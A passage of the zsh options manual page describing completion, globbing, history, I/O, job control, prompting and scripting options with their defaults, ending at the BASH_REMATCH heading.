ALWAYS_LAST_PROMPT <D> If unset, key functions that list completions try to return to the last prompt if given a numeric argument. If set these functions try to return to the last prompt if given no numeric argument.

ALWAYS_TO_END
If a completion is performed with the cursor within a word, and a full completion is inserted, the cursor is moved to the end of the word. That is, the cursor is moved to the end of the word if either a single match is inserted or menu completion is performed.

AUTO_LIST (-9) <D>
Automatically list choices on an ambiguous completion.

AUTO_MENU <D>
Automatically use menu completion after the second consecutive request for completion, for example by pressing the tab key repeatedly. This option is overridden by MENU_COMPLETE.

AUTO_NAME_DIRS
Any parameter that is set to the absolute name of a directory immediately becomes a name for that directory, that will be used by the `%~’ and related prompt sequences, and will be available when completion is performed on a word starting with `~’. (Otherwise, the parameter must be used in the form `**~**param’ first.)

AUTO_PARAM_KEYS <D>
If a parameter name was completed and a following character (normally a space) automatically inserted, and the next character typed is one of those that have to come directly after the name (like `}’, `:’, etc.), the automatically added character is deleted, so that the character typed comes immediately after the parameter name. Completion in a brace expansion is affected similarly: the added character is a `,’, which will be removed if `}’ is typed next.

AUTO_PARAM_SLASH <D>
If a parameter is completed whose content is the name of a directory, then add a trailing slash instead of a space.

AUTO_REMOVE_SLASH <D>
When the last character resulting from a completion is a slash and the next character typed is a word delimiter, a slash, or a character that ends a command (such as a semicolon or an ampersand), remove the slash.

BASH_AUTO_LIST
On an ambiguous completion, automatically list choices when the completion function is called twice in succession. This takes precedence over AUTO_LIST. The setting of LIST_AMBIGUOUS is respected. If AUTO_MENU is set, the menu behaviour will then start with the third press. Note that this will not work with MENU_COMPLETE, since repeated completion calls immediately cycle through the list in that case.

COMPLETE_ALIASES
Prevents aliases on the command line from being internally substituted before completion is attempted. The effect is to make the alias a distinct command for completion purposes.

COMPLETE_IN_WORD
If unset, the cursor is set to the end of the word if completion is started. Otherwise it stays there and completion is done from both ends.

GLOB_COMPLETE
When the current word has a glob pattern, do not insert all the words resulting from the expansion but generate matches as for completion and cycle through them like MENU_COMPLETE. The matches are generated as if a `*’ was added to the end of the word, or inserted at the cursor when COMPLETE_IN_WORD is set. This actually uses pattern matching, not globbing, so it works not only for files but for any completion, such as options, user names, etc.

Note that when the pattern matcher is used, matching control (for example, case-insensitive or anchored matching) cannot be used. This limitation only applies when the current word contains a pattern; simply turning on the GLOB_COMPLETE option does not have this effect.

HASH_LIST_ALL <D>
Whenever a command completion or spelling correction is attempted, make sure the entire command path is hashed first. This makes the first completion slower but avoids false reports of spelling errors.

LIST_AMBIGUOUS <D>
This option works when AUTO_LIST or BASH_AUTO_LIST is also set. If there is an unambiguous prefix to insert on the command line, that is done without a completion list being displayed; in other words, auto-listing behaviour only takes place when nothing would be inserted. In the case of BASH_AUTO_LIST, this means that the list will be delayed to the third call of the function.

LIST_BEEP <D>
Beep on an ambiguous completion. More accurately, this forces the completion widgets to return status 1 on an ambiguous completion, which causes the shell to beep if the option BEEP is also set; this may be modified if completion is called from a user-defined widget.

LIST_PACKED
Try to make the completion list smaller (occupying less lines) by printing the matches in columns with different widths.

LIST_ROWS_FIRST
Lay out the matches in completion lists sorted horizontally, that is, the second match is to the right of the first one, not under it as usual.

LIST_TYPES (-X) <D>
When listing files that are possible completions, show the type of each file with a trailing identifying mark.

MENU_COMPLETE (-Y)
On an ambiguous completion, instead of listing possibilities or beeping, insert the first match immediately. Then when completion is requested again, remove the first match and insert the second match, etc. When there are no more matches, go back to the first one again. reverse-menu-complete may be used to loop through the list in the other direction. This option overrides AUTO_MENU.

REC_EXACT (-S)
If the string on the command line exactly matches one of the possible completions, it is accepted, even if there is another completion (i.e. that string with something else added) that also matches.

Expansion and Globbing

BAD_PATTERN (+2) <C> <Z> If a pattern for filename generation is badly formed, print an error message. (If this option is unset, the pattern will be left unchanged.)

BARE_GLOB_QUAL <Z>
In a glob pattern, treat a trailing set of parentheses as a qualifier list, if it contains no `|’, `(’ or (if special) `~’ characters. See the section `Filename Generation'.

BRACE_CCL
Expand expressions in braces which would not otherwise undergo brace expansion to a lexically ordered list of all the characters. See the section `Brace Expansion'.

CASE_GLOB <D>
Make globbing (filename generation) sensitive to case. Note that other uses of patterns are always sensitive to case. If the option is unset, the presence of any character which is special to filename generation will cause case-insensitive matching. For example, cvs(/) can match the directory CVS owing to the presence of the globbing flag (unless the option BARE_GLOB_QUAL is unset).

CASE_MATCH <D>
Make regular expressions using the zsh/regex module (including matches with =~) sensitive to case.

CASE_PATHS
If CASE_PATHS is not set (the default), CASE_GLOB affects the interpretation of every path component, whenever a special character appears in any component. When CASE_PATHS is set, file path components that do not contain special filename generation characters are always sensitive to case, thus restricting NO_CASE_GLOB to components that contain globbing characters.

Note that if the filesystem itself is not sensitive to case, then CASE_PATHS has no effect.

CSH_NULL_GLOB <C>
If a pattern for filename generation has no matches, delete the pattern from the argument list; do not report an error unless all the patterns in a command have no matches. Overrides NOMATCH.

EQUALS <Z>
Perform = filename expansion. (See the section `Filename Expansion’.)

EXTENDED_GLOB
Treat the `#’, `~’ and `^’ characters as part of patterns for filename generation, etc. (An initial unquoted `~’ always produces named directory expansion.)

FORCE_FLOAT
Constants in arithmetic evaluation will be treated as floating point even without the use of a decimal point; the values of integer variables will be converted to floating point when used in arithmetic expressions. Integers in any base will be converted.

GLOB (+F, ksh: +f) <D>
Perform filename generation (globbing). (See the section `Filename Generation’.)

GLOB_ASSIGN <C>
If this option is set, filename generation (globbing) is performed on the right hand side of scalar parameter assignments of the form `name**=pattern (e.g. `foo=*’). If the result has more than one word the parameter will become an array with those words as arguments. This option is provided for backwards compatibility only: globbing is always performed on the right hand side of array assignments of the form `name=(value)**’ (e.g. `foo=(*)’) and this form is recommended for clarity; with this option set, it is not possible to predict whether the result will be an array or a scalar.

GLOB_DOTS (-4)
Do not require a leading `.’ in a filename to be matched explicitly.

GLOB_STAR_SHORT
When this option is set and the default zsh-style globbing is in effect, the pattern `**/*’ can be abbreviated to `**’ and the pattern `***/*’ can be abbreviated to ***. Hence `**.c’ finds a file ending in .c in any subdirectory, and `***.c’ does the same while also following symbolic links. A / immediately after the `**’ or `***’ forces the pattern to be treated as the unabbreviated form.

GLOB_SUBST <C> <K> <S>
Treat any characters resulting from parameter expansion as being eligible for filename expansion and filename generation, and any characters resulting from command substitution as being eligible for filename generation. Braces (and commas in between) do not become eligible for expansion.

HIST_SUBST_PATTERN
Substitutions using the :s and :& history modifiers are performed with pattern matching instead of string matching. This occurs wherever history modifiers are valid, including glob qualifiers and parameters. See the section `Modifiers’ in zshexpn(1).

IGNORE_BRACES (-I) <S>
Do not perform brace expansion. For historical reasons this also includes the effect of the IGNORE_CLOSE_BRACES option.

IGNORE_CLOSE_BRACES
When neither this option nor IGNORE_BRACES is set, a sole close brace character `}’ is syntactically significant at any point on a command line. This has the effect that no semicolon or newline is necessary before the brace terminating a function or current shell construct. When either option is set, a closing brace is syntactically significant only in command position. Unlike IGNORE_BRACES, this option does not disable brace expansion.

For example, with both options unset a function may be defined in the following fashion:

args() { echo $# }

while if either option is set, this does not work and something equivalent to the following is required:

args() { echo $#; }

KSH_GLOB <K>
In pattern matching, the interpretation of parentheses is affected by a preceding `@’, `*’, `+’, `?’ or `!’. See the section `Filename Generation'.

MAGIC_EQUAL_SUBST
All unquoted arguments of the form `anything**=expression’ appearing after the command name have filename expansion (that is, where expression has a leading `’ or `=**’) performed on expression as if it were a parameter assignment. The argument is not otherwise treated specially; it is passed to the command as a single argument, and not used as an actual parameter assignment. For example, in **echo foo=/bar:/rod**, both occurrences of **** would be replaced. Note that this happens anyway with typeset and similar statements.

This option respects the setting of the KSH_TYPESET option. In other words, if both options are in effect, arguments looking like assignments will not undergo word splitting.

MARK_DIRS (-8, ksh: -X)
Append a trailing `/’ to all directory names resulting from filename generation (globbing).

MULTIBYTE <D>
Respect multibyte characters when found in strings. When this option is set, strings are examined using the system library to determine how many bytes form a character, depending on the current locale. This affects the way characters are counted in pattern matching, parameter values and various delimiters.

The option is on by default if the shell was compiled with MULTIBYTE_SUPPORT; otherwise it is off by default and has no effect if turned on.

If the option is off a single byte is always treated as a single character. This setting is designed purely for examining strings known to contain raw bytes or other values that may not be characters in the current locale. It is not necessary to unset the option merely because the character set for the current locale does not contain multibyte characters.

The option does not affect the shell’s editor, which always uses the locale to determine multibyte characters. This is because the character set displayed by the terminal emulator is independent of shell settings.

NOMATCH (+3) <C> <Z>
If a pattern for filename generation has no matches, print an error, instead of leaving it unchanged in the argument list. This also applies to file expansion of an initial `~’ or `='.

NULL_GLOB (-G)
If a pattern for filename generation has no matches, delete the pattern from the argument list instead of reporting an error. Overrides NOMATCH.

NUMERIC_GLOB_SORT
If numeric filenames are matched by a filename generation pattern, sort the filenames numerically rather than lexicographically.

RC_EXPAND_PARAM (-P)
Array expansions of the form `foo**${xx}**bar’, where the parameter xx is set to (a b c), are substituted with `fooabar foobbar foocbar’ instead of the default `fooa b cbar’. Note that an empty array will therefore cause all arguments to be removed.

REMATCH_PCRE
If set, regular expression matching with the =~ operator will use Perl-Compatible Regular Expressions from the PCRE library. (The zsh/pcre module must be available.) If not set, regular expressions will use the extended regexp syntax provided by the system libraries.

SH_GLOB <K> <S>
Disables the special meaning of `(’, `|’, `)’ and ‘<’ for globbing the result of parameter and command substitutions, and in some other places where the shell accepts patterns. If SH_GLOB is set but KSH_GLOB is not, the shell allows the interpretation of subshell expressions enclosed in parentheses in some cases where there is no space before the opening parenthesis, e.g. !(true) is interpreted as if there were a space after the !. This option is set by default if zsh is invoked as sh or ksh.

UNSET (+u, ksh: +u) <K> <S> <Z>
Treat unset parameters as if they were empty when substituting, and as if they were zero when reading their values in arithmetic expansion and arithmetic commands. Otherwise they are treated as an error.

WARN_CREATE_GLOBAL
Print a warning message when a global parameter is created in a function by an assignment or in math context. This often indicates that a parameter has not been declared local when it should have been. Parameters explicitly declared global from within a function using typeset -g do not cause a warning. Note that there is no warning when a local parameter is assigned to in a nested function, which may also indicate an error.

WARN_NESTED_VAR
Print a warning message when an existing parameter from an enclosing function scope, or global, is set in a function by an assignment or in math context. Assignment to shell special parameters does not cause a warning. This is the companion to WARN_CREATE_GLOBAL as in this case the warning is only printed when a parameter is not created. Where possible, use of typeset -g to set the parameter suppresses the error, but note that this needs to be used every time the parameter is set. To restrict the effect of this option to a single function scope, use `functions -W’.

For example, the following code produces a warning for the assignment inside the function nested as that overrides the value within toplevel

toplevel() { local foo=“in fn” nested } nested() { foo=“in nested” } setopt warn_nested_var toplevel

History

APPEND_HISTORY <D> If this is set, zsh sessions will append their history list to the history file, rather than replace it. Thus, multiple parallel zsh sessions will all have the new entries from their history lists added to the history file, in the order that they exit. The file will still be periodically re-written to trim it when the number of lines grows 20% beyond the value specified by $SAVEHIST (see also the HIST_SAVE_BY_COPY option).

BANG_HIST (+K) <C> <Z>
Perform textual history expansion, csh-style, treating the character `!’ specially.

EXTENDED_HISTORY <C>
Save each command’s beginning timestamp (in seconds since the epoch) and the duration (in seconds) to the history file. The format of this prefixed data is:

`: <beginning time>:<elapsed seconds>;<command>'.

HIST_ALLOW_CLOBBER
Add `|’ to output redirections in the history. This allows history references to clobber files even when CLOBBER is unset.

HIST_BEEP <D>
Beep in ZLE when a widget attempts to access a history entry which isn’t there.

HIST_EXPIRE_DUPS_FIRST
If the internal history needs to be trimmed to add the current command line, setting this option will cause the oldest history event that has a duplicate to be lost before losing a unique event from the list. You should be sure to set the value of HISTSIZE to a larger number than SAVEHIST in order to give you some room for the duplicated events, otherwise this option will behave just like HIST_IGNORE_ALL_DUPS once the history fills up with unique events.

HIST_FCNTL_LOCK
When writing out the history file, by default zsh uses ad-hoc file locking to avoid known problems with locking on some operating systems. With this option locking is done by means of the system’s fcntl call, where this method is available. On recent operating systems this may provide better performance, in particular avoiding history corruption when files are stored on NFS.

HIST_FIND_NO_DUPS
When searching for history entries in the line editor, do not display duplicates of a line previously found, even if the duplicates are not contiguous.

HIST_IGNORE_ALL_DUPS
If a new command line being added to the history list duplicates an older one, the older command is removed from the list (even if it is not the previous event).

HIST_IGNORE_DUPS (-h)
Do not enter command lines into the history list if they are duplicates of the previous event.

HIST_IGNORE_SPACE (-g)
Remove command lines from the history list when the first character on the line is a space, or when one of the expanded aliases contains a leading space. Only normal aliases (not global or suffix aliases) have this behaviour. Note that the command lingers in the internal history until the next command is entered before it vanishes, allowing you to briefly reuse or edit the line. If you want to make it vanish right away without entering another command, type a space and press return.

HIST_LEX_WORDS
By default, shell history that is read in from files is split into words on all white space. This means that arguments with quoted whitespace are not correctly handled, with the consequence that references to words in history lines that have been read from a file may be inaccurate. When this option is set, words read in from a history file are divided up in a similar fashion to normal shell command line handling. Although this produces more accurately delimited words, if the size of the history file is large this can be slow. Trial and error is necessary to decide.

HIST_NO_FUNCTIONS
Remove function definitions from the history list. Note that the function lingers in the internal history until the next command is entered before it vanishes, allowing you to briefly reuse or edit the definition.

HIST_NO_STORE
Remove the history (fc -l) command from the history list when invoked. Note that the command lingers in the internal history until the next command is entered before it vanishes, allowing you to briefly reuse or edit the line.

HIST_REDUCE_BLANKS
Remove superfluous blanks from each command line being added to the history list.

HIST_SAVE_BY_COPY <D>
When the history file is re-written, we normally write out a copy of the file named $HISTFILE.new and then rename it over the old one. However, if this option is unset, we instead truncate the old history file and write out the new version in-place. If one of the history-appending options is enabled, this option only has an effect when the enlarged history file needs to be re-written to trim it down to size. Disable this only if you have special needs, as doing so makes it possible to lose history entries if zsh gets interrupted during the save.

When writing out a copy of the history file, zsh preserves the old file’s permissions and group information, but will refuse to write out a new file if it would change the history file’s owner.

HIST_SAVE_NO_DUPS
When writing out the history file, older commands that duplicate newer ones are omitted.

HIST_VERIFY
Whenever the user enters a line with history expansion, don’t execute the line directly; instead, perform history expansion and reload the line into the editing buffer.

INC_APPEND_HISTORY
This option works like APPEND_HISTORY except that new history lines are added to the $HISTFILE incrementally (as soon as they are entered), rather than waiting until the shell exits. The file will still be periodically re-written to trim it when the number of lines grows 20% beyond the value specified by $SAVEHIST (see also the HIST_SAVE_BY_COPY option).

INC_APPEND_HISTORY_TIME
This option is a variant of INC_APPEND_HISTORY in which, where possible, the history entry is written out to the file after the command is finished, so that the time taken by the command is recorded correctly in the history file in EXTENDED_HISTORY format. This means that the history entry will not be available immediately from other instances of the shell that are using the same history file.

This option is only useful if INC_APPEND_HISTORY and SHARE_HISTORY are turned off. The three options should be considered mutually exclusive.

SHARE_HISTORY <K>

This option both imports new commands from the history file, and also causes your typed commands to be appended to the history file (the latter is like specifying INC_APPEND_HISTORY, which should be turned off if this option is in effect). The history lines are also output with timestamps ala EXTENDED_HISTORY (which makes it easier to find the spot where we left off reading the file after it gets re-written).

By default, history movement commands visit the imported lines as well as the local lines, but you can toggle this on and off with the set-local-history zle binding. It is also possible to create a zle widget that will make some commands ignore imported commands, and some include them.

If you find that you want more control over when commands get imported, you may wish to turn SHARE_HISTORY off, INC_APPEND_HISTORY or INC_APPEND_HISTORY_TIME (see above) on, and then manually import commands whenever you need them using `fc -RI'.

Initialisation

ALL_EXPORT (-a, ksh: -a) All parameters subsequently defined are automatically exported.

GLOBAL_EXPORT <Z>
If this option is set, passing the -x flag to the builtins declare, float, integer, readonly and typeset (but not local) will also set the -g flag; hence parameters exported to the environment will not be made local to the enclosing function, unless they were already or the flag +g is given explicitly. If the option is unset, exported parameters will be made local in just the same way as any other parameter.

This option is set by default for backward compatibility; it is not recommended that its behaviour be relied upon. Note that the builtin export always sets both the -x and -g flags, and hence its effect extends beyond the scope of the enclosing function; this is the most portable way to achieve this behaviour.

GLOBAL_RCS (+d) <D>
If this option is unset, the startup files /etc/zsh/zprofile, /etc/zsh/zshrc, /etc/zsh/zlogin and /etc/zsh/zlogout will not be run. It can be disabled and re-enabled at any time, including inside local startup files (.zshrc, etc.).

RCS (+f) <D>
After /etc/zsh/zshenv is sourced on startup, source the .zshenv, /etc/zsh/zprofile, .zprofile, /etc/zsh/zshrc, .zshrc, /etc/zsh/zlogin, .zlogin, and .zlogout files, as described in the section `Files’. If this option is unset, the /etc/zsh/zshenv file is still sourced, but any of the others will not be; it can be set at any time to prevent the remaining startup files after the currently executing one from being sourced.

Input/Output

ALIASES <D> Expand aliases.

CLOBBER (+C, ksh: +C) <D>
Allows `>’ redirection to truncate existing files. Otherwise `>!’ or `>|’ must be used to truncate a file.

If the option is not set, and the option APPEND_CREATE is also not set, `>>!’ or `>>|’ must be used to create a file. If either option is set, `>>’ may be used.

CLOBBER_EMPTY
This option is only used if the option CLOBBER is not set: note that it is set by default.

If this option is set, then regular files of zero length may be ovewritten (`clobbered’). Note that it is possible another process has written to the file between this test and use of the file by the current process. This option should therefore not be used in cases where files to be clobbered may be written to asynchronously.

CORRECT (-0)
Try to correct the spelling of commands. Note that, when the HASH_LIST_ALL option is not set or when some directories in the path are not readable, this may falsely report spelling errors the first time some commands are used.

The shell variable CORRECT_IGNORE may be set to a pattern to match words that will never be offered as corrections.

CORRECT_ALL (-O)
Try to correct the spelling of all arguments in a line.

The shell variable CORRECT_IGNORE_FILE may be set to a pattern to match file names that will never be offered as corrections.

DVORAK
Use the Dvorak keyboard instead of the standard qwerty keyboard as a basis for examining spelling mistakes for the CORRECT and CORRECT_ALL options and the spell-word editor command.

FLOW_CONTROL <D>
If this option is unset, output flow control via start/stop characters (usually assigned to ^S/^Q) is disabled in the shell’s editor.

IGNORE_EOF (-7)
Do not exit on end-of-file. Require the use of exit or logout instead. However, ten consecutive EOFs will cause the shell to exit anyway, to avoid the shell hanging if its tty goes away.

Also, if this option is set and the Zsh Line Editor is used, widgets implemented by shell functions can be bound to EOF (normally Control-D) without printing the normal warning message. This works only for normal widgets, not for completion widgets.

INTERACTIVE_COMMENTS (-k) <K> <S>
Allow comments even in interactive shells.

HASH_CMDS <D>
Note the location of each command the first time it is executed. Subsequent invocations of the same command will use the saved location, avoiding a path search. If this option is unset, no path hashing is done at all. However, when CORRECT is set, commands whose names do not appear in the functions or aliases hash tables are hashed in order to avoid reporting them as spelling errors.

HASH_DIRS <D>
Whenever a command name is hashed, hash the directory containing it, as well as all directories that occur earlier in the path. Has no effect if neither HASH_CMDS nor CORRECT is set.

HASH_EXECUTABLES_ONLY
When hashing commands because of HASH_CMDS, check that the file to be hashed is actually an executable. This option is unset by default as if the path contains a large number of commands, or consists of many remote files, the additional tests can take a long time. Trial and error is needed to show if this option is beneficial.

MAIL_WARNING (-U)
Print a warning message if a mail file has been accessed since the shell last checked.

PATH_DIRS (-Q)
Perform a path search even on command names with slashes in them. Thus if `/usr/local/bin’ is in the user’s path, and he or she types `X11/xinit’, the command `/usr/local/bin/X11/xinit’ will be executed (assuming it exists). Commands explicitly beginning with `/’, `./’ or `../’ are not subject to the path search. This also applies to the `.’ and source builtins.

Note that subdirectories of the current directory are always searched for executables specified in this form. This takes place before any search indicated by this option, and regardless of whether `.’ or the current directory appear in the command search path.

PATH_SCRIPT <K> <S>
If this option is not set, a script passed as the first non-option argument to the shell must contain the name of the file to open. If this option is set, and the script does not specify a directory path, the script is looked for first in the current directory, then in the command path. See the section INVOCATION in zsh(1).

PRINT_EIGHT_BIT
Print eight bit characters literally in completion lists, etc. This option is not necessary if your system correctly returns the printability of eight bit characters (see ctype(3)).

PRINT_EXIT_VALUE (-1)
Print the exit value of programs with non-zero exit status. This is only available at the command line in interactive shells.

RC_QUOTES
Allow the character sequence `’’’ to signify a single quote within singly quoted strings. Note this does not apply in quoted strings using the format $’, where a backslashed single quote can be used.

RM_STAR_SILENT (-H) <K> <S>
Do not query the user before executing `rm *’ or `rm path/*'.

RM_STAR_WAIT
If querying the user before executing `rm *’ or `rm path/*’, first wait ten seconds and ignore anything typed in that time. This avoids the problem of reflexively answering `yes’ to the query when one didn’t really mean it. The wait and query can always be avoided by expanding the `*’ in ZLE (with tab).

SHORT_LOOPS <C> <Z>
Allow the short forms of for, repeat, select, if, and function constructs.

SHORT_REPEAT
Allow the short form repeat as SHORT_LOOPS but without enabling it for the other constructs.

SUN_KEYBOARD_HACK (-L)
If a line ends with a backquote, and there are an odd number of backquotes on the line, ignore the trailing backquote. This is useful on some keyboards where the return key is too small, and the backquote key lies annoyingly close to it. As an alternative the variable KEYBOARD_HACK lets you choose the character to be removed.

Job Control

AUTO_CONTINUE With this option set, stopped jobs that are removed from the job table with the disown builtin command are automatically sent a CONT signal to make them running.

AUTO_RESUME (-W)
Treat single word simple commands without redirection as candidates for resumption of an existing job.

BG_NICE (-6) <C> <Z>
Run all background jobs at a lower priority. This option is set by default.

CHECK_JOBS <Z>
Report the status of background and suspended jobs before exiting a shell with job control; a second attempt to exit the shell will succeed. NO_CHECK_JOBS is best used only in combination with NO_HUP, else such jobs will be killed automatically.

The check is omitted if the commands run from the previous command line included a `jobs’ command, since it is assumed the user is aware that there are background or suspended jobs. A `jobs’ command run from one of the hook functions defined in the section SPECIAL FUNCTIONS in zshmisc(1) is not counted for this purpose.

CHECK_RUNNING_JOBS <Z>
Check for both running and suspended jobs when CHECK_JOBS is enabled. When this option is disabled, zsh checks only for suspended jobs, which matches the default behavior of bash.

This option has no effect unless CHECK_JOBS is set.

HUP <Z>
Send the HUP signal to running jobs when the shell exits.

LONG_LIST_JOBS (-R)
Print job notifications in the long format by default.

MONITOR (-m, ksh: -m)
Allow job control. Set by default in interactive shells.

NOTIFY (-5, ksh: -b) <Z>
Report the status of background jobs immediately, rather than waiting until just before printing a prompt.

POSIX_JOBS <K> <S>
This option makes job control more compliant with the POSIX standard.

When the option is not set, the MONITOR option is unset on entry to subshells, so that job control is no longer active. When the option is set, the MONITOR option and job control remain active in the subshell, but note that the subshell has no access to jobs in the parent shell.

When the option is not set, jobs put in the background or foreground with bg or fg are displayed with the same information that would be reported by jobs. When the option is set, only the text is printed. The output from jobs itself is not affected by the option.

When the option is not set, job information from the parent shell is saved for output within a subshell (for example, within a pipeline). When the option is set, the output of jobs is empty until a job is started within the subshell.

In previous versions of the shell, it was necessary to enable POSIX_JOBS in order for the builtin command wait to return the status of background jobs that had already exited. This is no longer the case.

Prompting

PROMPT_BANG <K> If set, `!’ is treated specially in prompt expansion. See EXPANSION OF PROMPT SEQUENCES in zshmisc(1).

PROMPT_CR (+V) <D>
Print a carriage return just before printing a prompt in the line editor. This is on by default as multi-line editing is only possible if the editor knows where the start of the line appears.

PROMPT_SP <D>
Attempt to preserve a partial line (i.e. a line that did not end with a newline) that would otherwise be covered up by the command prompt due to the PROMPT_CR option. This works by outputting some cursor-control characters, including a series of spaces, that should make the terminal wrap to the next line when a partial line is present (note that this is only successful if your terminal has automatic margins, which is typical).

When a partial line is preserved, by default you will see an inverse+bold character at the end of the partial line: a `%’ for a normal user or a `#’ for root. If set, the shell parameter PROMPT_EOL_MARK can be used to customize how the end of partial lines are shown.

NOTE: if the PROMPT_CR option is not set, enabling this option will have no effect. This option is on by default.

PROMPT_PERCENT <C> <Z>
If set, `%’ is treated specially in prompt expansion. See EXPANSION OF PROMPT SEQUENCES in zshmisc(1).

PROMPT_SUBST <K> <S>
If set, parameter expansion, command substitution and arithmetic expansion are performed in prompts. Substitutions within prompts do not affect the command status.

TRANSIENT_RPROMPT
Remove any right prompt from display when accepting a command line. This may be useful with terminals with other cut/paste methods.

Scripts and Functions

ALIAS_FUNC_DEF <S> By default, zsh does not allow the definition of functions using the `name ()’ syntax if name was expanded as an alias: this causes an error. This is usually the desired behaviour, as otherwise the combination of an alias and a function based on the same definition can easily cause problems.

When this option is set, aliases can be used for defining functions.

For example, consider the following definitions as they might occur in a startup file.

alias foo=bar foo() { print This probably does not do what you expect. }

Here, foo is expanded as an alias to bar before the () is encountered, so the function defined would be named bar. By default this is instead an error in native mode. Note that quoting any part of the function name, or using the keyword function, avoids the problem, so is recommended when the function name can also be an alias.

C_BASES
Output hexadecimal numbers in the standard C format, for example `0xFF’ instead of the usual `16#FF’. If the option OCTAL_ZEROES is also set (it is not by default), octal numbers will be treated similarly and hence appear as `077’ instead of `8#77’. This option has no effect on the choice of the output base, nor on the output of bases other than hexadecimal and octal. Note that these formats will be understood on input irrespective of the setting of C_BASES.

C_PRECEDENCES
This alters the precedence of arithmetic operators to be more like C and other programming languages; the section ARITHMETIC EVALUATION in zshmisc(1) has an explicit list.

DEBUG_BEFORE_CMD <D>
Run the DEBUG trap before each command; otherwise it is run after each command. Setting this option mimics the behaviour of ksh 93; with the option unset the behaviour is that of ksh 88.

ERR_EXIT (-e, ksh: -e)
If a command has a non-zero exit status, execute the ZERR trap, if set, and exit. This is disabled while running initialization scripts.

The behaviour is also disabled inside DEBUG traps. In this case the option is handled specially: it is unset on entry to the trap. If the option DEBUG_BEFORE_CMD is set, as it is by default, and the option ERR_EXIT is found to have been set on exit, then the command for which the DEBUG trap is being executed is skipped. The option is restored after the trap exits.

Non-zero status in a command list containing && or || is ignored for commands not at the end of the list. Hence

false && true

does not trigger exit.

Exiting due to ERR_EXIT has certain interactions with asynchronous jobs noted in the section JOBS in zshmisc(1).

ERR_RETURN
If a command has a non-zero exit status, return immediately from the enclosing function. The logic is similar to that for ERR_EXIT, except that an implicit return statement is executed instead of an exit. This will trigger an exit at the outermost level of a non-interactive script.

Normally this option inherits the behaviour of ERR_EXIT that code followed by `&&’ `||’ does not trigger a return. Hence in the following:

summit || true

no return is forced as the combined effect always has a zero return status.

Note. however, that if summit in the above example is itself a function, code inside it is considered separately: it may force a return from summit (assuming the option remains set within summit), but not from the enclosing context. This behaviour is different from ERR_EXIT which is unaffected by function scope.

EVAL_LINENO <Z>
If set, line numbers of expressions evaluated using the builtin eval are tracked separately of the enclosing environment. This applies both to the parameter LINENO and the line number output by the prompt escape %i. If the option is set, the prompt escape %N will output the string `(eval)’ instead of the script or function name as an indication. (The two prompt escapes are typically used in the parameter PS4 to be output when the option XTRACE is set.) If EVAL_LINENO is unset, the line number of the surrounding script or function is retained during the evaluation.

EXEC (+n, ksh: +n) <D>
Do execute commands. Without this option, commands are read and checked for syntax errors, but not executed. This option cannot be turned off in an interactive shell, except when `-n’ is supplied to the shell at startup.

FUNCTION_ARGZERO <C> <Z>
When executing a shell function or sourcing a script, set $0 temporarily to the name of the function/script. Note that toggling FUNCTION_ARGZERO from on to off (or off to on) does not change the current value of $0. Only the state upon entry to the function or script has an effect. Compare POSIX_ARGZERO.

LOCAL_LOOPS
When this option is not set, the effect of break and continue commands may propagate outside function scope, affecting loops in calling functions. When the option is set in a calling function, a break or a continue that is not caught within a called function (regardless of the setting of the option within that function) produces a warning and the effect is cancelled.

LOCAL_OPTIONS <K>
If this option is set at the point of return from a shell function, most options (including this one) which were in force upon entry to the function are restored; options that are not restored are PRIVILEGED and RESTRICTED. Otherwise, only this option, and the LOCAL_LOOPS, XTRACE and PRINT_EXIT_VALUE options are restored. Hence if this is explicitly unset by a shell function the other options in force at the point of return will remain so. A shell function can also guarantee itself a known shell configuration with a formulation like `emulate -L zsh’; the -L activates LOCAL_OPTIONS.

LOCAL_PATTERNS
If this option is set at the point of return from a shell function, the state of pattern disables, as set with the builtin command `disable -p’, is restored to what it was when the function was entered. The behaviour of this option is similar to the effect of LOCAL_OPTIONS on options; hence `emulate -L sh’ (or indeed any other emulation with the -L option) activates LOCAL_PATTERNS.

LOCAL_TRAPS <K>
If this option is set when a signal trap is set inside a function, then the previous status of the trap for that signal will be restored when the function exits. Note that this option must be set prior to altering the trap behaviour in a function; unlike LOCAL_OPTIONS, the value on exit from the function is irrelevant. However, it does not need to be set before any global trap for that to be correctly restored by a function. For example,

unsetopt localtraps trap - INT fn() { setopt localtraps; trap ’’ INT; sleep 3; }

will restore normal handling of SIGINT after the function exits.

MULTI_FUNC_DEF <Z>
Allow definitions of multiple functions at once in the form `fn1 fn2*…*()’; if the option is not set, this causes a parse error. Definition of multiple functions with the function keyword is always allowed. Multiple function definitions are not often used and can cause obscure errors.

MULTIOS <Z>
Perform implicit tees or cats when multiple redirections are attempted (see the section `Redirection’).

OCTAL_ZEROES <S>
Interpret any integer constant beginning with a 0 as octal, per IEEE Std 1003.2-1992 (ISO 9945-2:1993). This is not enabled by default as it causes problems with parsing of, for example, date and time strings with leading zeroes.

Sequences of digits indicating a numeric base such as the `08’ component in `08#77’ are always interpreted as decimal, regardless of leading zeroes.

PIPE_FAIL
By default, when a pipeline exits the exit status recorded by the shell and returned by the shell variable $? reflects that of the rightmost element of a pipeline. If this option is set, the exit status instead reflects the status of the rightmost element of the pipeline that was non-zero, or zero if all elements exited with zero status.

SOURCE_TRACE
If set, zsh will print an informational message announcing the name of each file it loads. The format of the output is similar to that for the XTRACE option, with the message <sourcetrace>. A file may be loaded by the shell itself when it starts up and shuts down (Startup/Shutdown Files) or by the use of the `source’ and `dot’ builtin commands.

TYPESET_SILENT
If this is unset, executing any of the `typeset’ family of commands with no options and a list of parameters that have no values to be assigned but already exist will display the value of the parameter. If the option is set, they will only be shown when parameters are selected with the `-m’ option. The option `-p’ is available whether or not the option is set.

TYPESET_TO_UNSET <K> <S>
When declaring a new parameter with any of the `typeset’ family of related commands, the parameter remains unset unless and until a value is explicitly assigned to it, either in the `typeset’ command itself or as a later assignment statement.

VERBOSE (-v, ksh: -v)
Print shell input lines as they are read.

XTRACE (-x, ksh: -x)
Print commands and their arguments as they are executed. The output is preceded by the value of $PS4, formatted as described in the section EXPANSION OF PROMPT SEQUENCES in zshmisc(1).

Shell Emulation

APPEND_CREATE <K> <S> This option only applies when NO_CLOBBER (-C) is in effect.

If this option is not set, the shell will report an error when a append redirection (>>) is used on a file that does not already exists (the traditional zsh behaviour of NO_CLOBBER). If the option is set, no error is reported (POSIX behaviour).

BASH_REMATCH
